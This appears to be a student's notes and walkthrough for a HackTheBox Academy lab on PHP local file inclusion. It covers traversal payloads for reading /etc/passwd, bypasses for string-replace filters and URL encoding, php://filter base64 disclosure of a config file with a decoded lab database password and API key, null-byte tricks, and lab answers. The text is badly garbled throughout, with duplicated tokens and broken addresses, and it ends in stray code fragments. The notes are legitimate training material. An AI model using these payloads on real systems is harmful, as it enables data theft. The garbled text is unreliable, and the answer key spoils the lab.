HTB Academy "File Inclusion / Directory Traversal" Module Full Notes and Walk-through by MuslimMan Module Maker: @mrb3n on HackTheBox, all credit is due to him File Inclusion / Directory Traversal File Inclusion File Inclusion is a common web application vulnerability that can be easily overlooked as part of the application functionality Server-side languages such as PHP or JSP Jakarta Server Pages) can dynamically include external scripts , thus reducing the overall size and complexity of the code of a script. If this inclusion is not implemented properly , attackers can include both local and remote files , potentially leading to source code disclosure , sensitive data exposure (such as security tokens including JWT , and, most importantly, code execution , however only under certain conditions There are two types of file inclusion : Local File Inclusion (LFI , and Remote File Inclusion (RFI LFI vs. RFI Almost any Remote File Inclusion (RFI can also be a Local File Inclusion (LFI ; however , not any LFI may be a RFI because of two reasons : Only a portion of the filename may be controlled and not the entire protocol wrapper (examples including http:// , ftp:// , and https:// ). The web application configuration may prevent RFI entirely. For example, in PHP , setting allow_url_include to 0 will not make it possible to use remote sources within the include() statement Where is File Inclusion Common Templating engines is the most common technology that LFI vulnerabilities can be found. LFI vulnerabilities are common within templating engines because websites want to keep a large majority of the website identical when navigating between the website's pages such as the header , navigation bar , and footer . Without dynamic page generation , every web page on there server would need to be modified when changes are made to any of those sections (the header , navigation bar , footer , e.t.c). Seeing a website path with parameters such as " /index.php?page=about" denotes that index.php will retrieve sections such as header.php , about.php , and footer.php . However, since an attacker can control the about portion of the request , it may be possible to retrieve other files from within the web server . Another common parameter that attackers may use is the language parameter , for example, seeing ?lang=en; denotes that the website is retrieving files from the /en/ directory Other Technologies where File Inclusion is Common LFI vulnerabilities exist only not in templating engines , they also can exist when a web server allows a user to download a file . For example, if a web server's server-side code to retrieve a user's avatar downloaded from " /profile/$userName/avatar.png ", an attacker managing to craft a malicious username might be able to change the avatar image request to " /profile/../../../../../etc/passwd avatar.png " and snatch off the confidential /etc/passwd file instead of the avatar image . This poisoning of the database entry and having a separate function utilize that poisoned entry technique is known as Second Order Developers often overlook these vulnerabilities because they follow the motto of " Never Trust User Input ", but they forget about " Never Trust The Database Data" also. Local File Inclusion File inclusion vulnerabilities can often be found in the parameters of GET requests Server-side scripts include certain files based on the user's choice or input , including file downloads , changing the language of the website , or website navigation Basic LFI Consider the following blog page : The website allows users to read articles in English or Spanish by selecting either of them using a drop-down menu: Clicking on Spanish changes the language of the article and also the URL : The URL now contains a parameter called language with the value of es.php , which is an indication of file inclusion based on the choice of language . The server-side PHP code will most probably be: include include ( ( $_GET $_GET [ [ 'language' 'language' ] ] ) ) ; ; Changing the value of the language parameter to a world- readable file such as Linux's /etc/passwd reveals the contents of the file and indicates that this web server is vulnerable to LFI : LFI with Path Traversal Developers sometimes specify the absolute paths when including files . For example: include include ( ( "./languages/ . " "./languages/ . " $_GET $_GET [ [ 'language' 'language' ] ] ) ) ; ; the above PHP snippet includes the files present in the languages folder . Trying to assign /etc/passwd as the value of the language parameter will not work directly and would rather show a verbose error about the string being passed to the include() function stating that the file " /etc/passwd " does not exist within the languages folder : However, this restriction can be bypassed by traversing directories by using the Linux go back one directory command which is " ../ ": Another Basic LFI Example Input from parameters can be used as part of filenames as shown in the below PHP snippet : include include ( ( "lang_" "lang_" $GET $GET [ [ 'language' 'language' ] ] ) ) ; ; If this is the case, payloads such as " ../../../../../etc/passwd " will not succeed, as the final string will be " lang_../../../../../etc/passwd " which is invalid : However, this restriction can be bypassed by prefixing the payload with a forward slash " / " which will bypass the filename and traverse directories instead: LFI with Blacklisting Scripts can employ search and find techniques to avoid path traversals . The below PHP script replaces " ../ " with '': $language $language = = str_replace str_replace ( ( '../' '../' , , '' '' , , $_GET $_GET [ [ 'language' 'language' ] ] ) ) ; ; Trying to send the same " /../../../../../etc/passwd payload " will result in it being truncated to " ./languages/etc/passwd " only : However, this restriction can be bypassed because the check being performed is not removing "../" recursively , it only removes the occurrences from the string a single time . If removing " ../ " creates another instance of " ../ ", the new instance will not be removed . For example, both " ..././ " and " ....// " would become ../ " after the replace function : One way that developers could defend this is the following PHP code: $lfi $lfi = = "....././/..../..//filename" "....././/..../..//filename" ; ; while while ( ( substr_count substr_count ( ( $lfi $lfi , , '../' '../' , , 0 0 ) ) ) ) { { $lfi $lfi = = str_replace str_replace ( ( '../' '../' , , '' '' , , $lfi $lfi ) ) ; ; } } The best way to patch this is to use the basename($ GET'language']) function from PHP , however, if the web application goes into directories , this could break the application Bypass with URL Encoding On PHP 5.3.4 versions and earlier , string based detection could be bypassed by URL encoding the payload . The characters "../" can be URL encoded into %2e%2e%2f , which will bypass the filter . " ....//" in URL encoding is " %2e%2e%2e%2e%2f%2f ", thus, the payload: "....//....//....//....//....//....//....//....//etc/passwd" becomes "%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e %2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e% 2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e %2e%2e%2e%2f%2fetc%2fpasswd" : LFI with Appended Extension All tests will be done on the /extension/index.php?language path of the docker instance Scripts can manually append a .php or any other required extension before including the file , this serves as a mitigation against the inclusion of arbitrary files . The below PHP snippet appends a .php before including the language file : include include ( ( $_GET $_GET [ [ 'language' 'language' ] ] "php" "php" ) ) ; ; Trying the /etc/passwd payload on the following web page results in an error message about not being able to find a /etc/passwd.php file on the server : Source Code Disclosure via PHP Wrappers If the web server is appending extensions to the files being included , the only option left is to try to disclose PHP files and expose sensitive information or vulnerabilities in the source code . Such files can be found by performing a brute force attack against the web server for files with the .php extension using tools such as gobuster , dirbuster , dirsearch and ffuf . However, direct inclusion of these PHP files will not return anything , as the web server will execute it as code . For example, a file named config.php that is present on the server will not have it's contents shown if used in a file inclusion attack : To overcome this, attackers use the PHP wrappers PHP provides various wrappers that can be used for easier access to files, protocols, or streams . The list of wrappers can be found in this link ( https://www.php.net/manual/en/wrappers.php.php). The php:// wrapper is enabled by default and interacts with IO streams , for example, php://stdin and php://stdout can be used to access input and output streams for the process , while php://input and php://output are used to access request data . One important wrapper that attackers use is the php://filter wrapper , since it can be chained with multiple filters to achieve a desired output . For example, the filter php://filter/read=/resource=/etc/passwd reads the /etc/passwd file and outputs it's contents : The read filter can process the input with various string operations , including Base64 and ROT13 encoding The filter php://filter/read=convert.base64 encode/resource=/etc/passwd will convert and output the /etc/passwd file in Base64 encoding : While the filter php://filter/read=string.rot13/resource=/etc/passwd will ROT13 encode the contents of /etc/passwd : php php : : //filter/read=string.rot13/resource=/etc/passwd //filter/read=string.rot13/resource=/etc/passwd The filter php://filter/read=convert.base64 encode/resource=/config will return the config.php file and output it with Base64 encoding : php php : : //filter/read=convert.base64- //filter/read=convert.base64- encode/resource=/config encode/resource=/config The full Base64 string is: PD9waHAKCiRjb25maWc9YXJyYXkoCidEQl9IT1NUJz0+J2RiLzlub PD9waHAKCiRjb25maWc9YXJyYXkoCidEQl9IT1NUJz0+J2RiLzlub GFuZWZyZWlnaHQubG9jYWwnLAonREJfVVNFUk5BTUUnPT4ncm9vdC GFuZWZyZWlnaHQubG9jYWwnLAonREJfVVNFUk5BTUUnPT4ncm9vdC csCidEQl9QQVNTV09SRCc9PidEQl9BZG1pbl9QQHNzdzByZCEnLAo csCidEQl9QQVNTV09SRCc9PidEQl9BZG1pbl9QQHNzdzByZCEnLAo nREJfREFUQUJBU0UnPT4nYmxvZ2RiJwopOwoKJEFQSV9LRVkgPSAi nREJfREFUQUJBU0UnPT4nYmxvZ2RiJwopOwoKJEFQSV9LRVkgPSAi QXdldzI0MkdEc2hyZjQ2KzM1L2siOwoKLyoKJGNvbm4gPSBteXNxb QXdldzI0MkdEc2hyZjQ2KzM1L2siOwoKLyoKJGNvbm4gPSBteXNxb GlfY29ubmVjdCgkY29uZmlnWydEQl9IT1NUJ10sICRjb25maWdbJ0 GlfY29ubmVjdCgkY29uZmlnWydEQl9IT1NUJ10sICRjb25maWdbJ0 RCX1VTRVJOQU1FJ10sICRjb25maWdbJ0RCX1BBU1NXT1JEJ10sICR RCX1VTRVJOQU1FJ10sICRjb25maWdbJ0RCX1BBU1NXT1JEJ10sICR jb25maWdbJ0RCX0RBVEFCQVNFJ10pOwoKaWYgKG15c3FsaV9jb25u jb25maWdbJ0RCX0RBVEFCQVNFJ10pOwoKaWYgKG15c3FsaV9jb25u ZWN0X2Vycm5vKCRjb25uKSkKICB7CgogIAllY2hvICJGYWlsZWQgY ZWN0X2Vycm5vKCRjb25uKSkKICB7CgogIAllY2hvICJGYWlsZWQgY 29ubmVjdGluZy4gIiAuIG15c3FsaV9jb25uZWN0X2Vycm9yKCkgLi 29ubmVjdGluZy4gIiAuIG15c3FsaV9jb25uZWN0X2Vycm9yKCkgLi AiPGJyLz4iOwoKICB9CiovCgo/Pgo AiPGJyLz4iOwoKICB9CiovCgo/Pgo = = When decoded from Base64 , confidential information is disclosed including the database credentials and an API key , which can be used to access other resources : ┌ ┌ [ [ etile etile ] ] ─ ─ [ [ 09:41-18/09 09:41-18/09 ] ] ─ ─ [ [ /home/etile /home/etile ] ] └╼etile └╼etile $echo $echo 'PD9waHAKCiRjb25maWc9YXJyYXkoCidEQl9IT1 'PD9waHAKCiRjb25maWc9YXJyYXkoCidEQl9IT1 NUJz0+J2RiLmlubGFuZWZyZWlnaHQubG9jYWwnLAonREJfVVNFUk NUJz0+J2RiLmlubGFuZWZyZWlnaHQubG9jYWwnLAonREJfVVNFUk 5BTUUnPT4ncm9vdCcsCidEQl9QQVNTV09SRCc9PidEQl9BZG1pbl 5BTUUnPT4ncm9vdCcsCidEQl9QQVNTV09SRCc9PidEQl9BZG1pbl 9QQHNzdzByZCEnLAonREJfREFUQUJBU0UnPT4nYmxvZ2RiJwopOw 9QQHNzdzByZCEnLAonREJfREFUQUJBU0UnPT4nYmxvZ2RiJwopOw oKJEFQSV9LRVkgPSAiQXdldzI0MkdEc2hyZjQ2KzM1L2siOwoKLy oKJEFQSV9LRVkgPSAiQXdldzI0MkdEc2hyZjQ2KzM1L2siOwoKLy oKJGNvbm4gPSBteXNxbGlfY29ubmVjdCgkY29uZmlnWydEQl9IT1 oKJGNvbm4gPSBteXNxbGlfY29ubmVjdCgkY29uZmlnWydEQl9IT1 NUJ10sICRjb25maWdbJ0RCX1VTRVJOQU1FJ10sICRjb25maWdbJ0 NUJ10sICRjb25maWdbJ0RCX1VTRVJOQU1FJ10sICRjb25maWdbJ0 RCX1BBU1NXT1JEJ10sICRjb25maWdbJ0RCX0RBVEFCQVNFJ10pOw RCX1BBU1NXT1JEJ10sICRjb25maWdbJ0RCX0RBVEFCQVNFJ10pOw oKaWYgKG15c3FsaV9jb25uZWN0X2Vycm5vKCRjb25uKSkKICB7Cg oKaWYgKG15c3FsaV9jb25uZWN0X2Vycm5vKCRjb25uKSkKICB7Cg ogIAllY2hvICJGYWlsZWQgY29ubmVjdGluZy4gIiAuIG15c3FsaV ogIAllY2hvICJGYWlsZWQgY29ubmVjdGluZy4gIiAuIG15c3FsaV 9jb25uZWN0X2Vycm9yKCkgLiAiPGJyLz4iOwoKICB9CiovCgo/Pgo=' 9jb25uZWN0X2Vycm9yKCkgLiAiPGJyLz4iOwoKICB9CiovCgo/Pgo=' | | base64 -d base64 -d < < ?php ?php $config $config = = array array ( ( 'DB_HOST' 'DB_HOST' = = > > 'db.inlanefreight.local' 'db.inlanefreight.local' , , 'DB_USERNAME' 'DB_USERNAME' = = > > 'root' 'root' , , 'DB_PASSWORD' 'DB_PASSWORD' = = > > 'DB_Admin_P@ssw0rd!' 'DB_Admin_P@ssw0rd!' , , 'DB_DATABASE' 'DB_DATABASE' = = > > 'blogdb' 'blogdb' ) ) ; ; $API_KEY $API_KEY = = "Awew242GDshrf46+35/k" "Awew242GDshrf46+35/k" ; ; /* /* $conn $conn = = mysqli_connect mysqli_connect ( ( $config $config [ [ 'DB_HOST' 'DB_HOST' ] ] , , $config $config [ [ 'DB_USERNAME' 'DB_USERNAME' ] ] , , if if ( ( mysqli_connect_errno mysqli_connect_errno ( ( $conn $conn )) )) { { echo echo "Failed connecting. " "Failed connecting. " mysqli_connect_error mysqli_connect_error ( ( ) ) "<br/>" "<br/>" ; ; Extension Bypass Using the Null Byte PHP versions before 5.5 are vulnerable to null byte injection , meaning that adding a null byte at the end of the filename should bypass the extension check. For example, " language=/etc/passwd%00 " will result in that statement include("/etc/passwd%00.php") , where the web server ignores everything after the null byte %00 This occurs because C and C consider strings to be terminated by null bytes , while PHP does not. The URL encoded null byte (%00 at the end of the filename gets .php appended to it but is truncated to " /etc/passwd\x00 " by the API written with C . This results in the inclusion of " /etc/passwd " instead of " /etc/passwd.php " when the include() function is invoked Questions "Using the file inclusion find the name of a user on the system that starts with "b"." Payload: " http://139.59.163.17430774/basic/index.php? language=/etc/passwd" Answer: " barry " "Submit the contents of the flag.txt file located in the /usr/share/flags directory." Payload: " http://139.59.163.17430774/basic/index.php? } } */ */ ? ? > >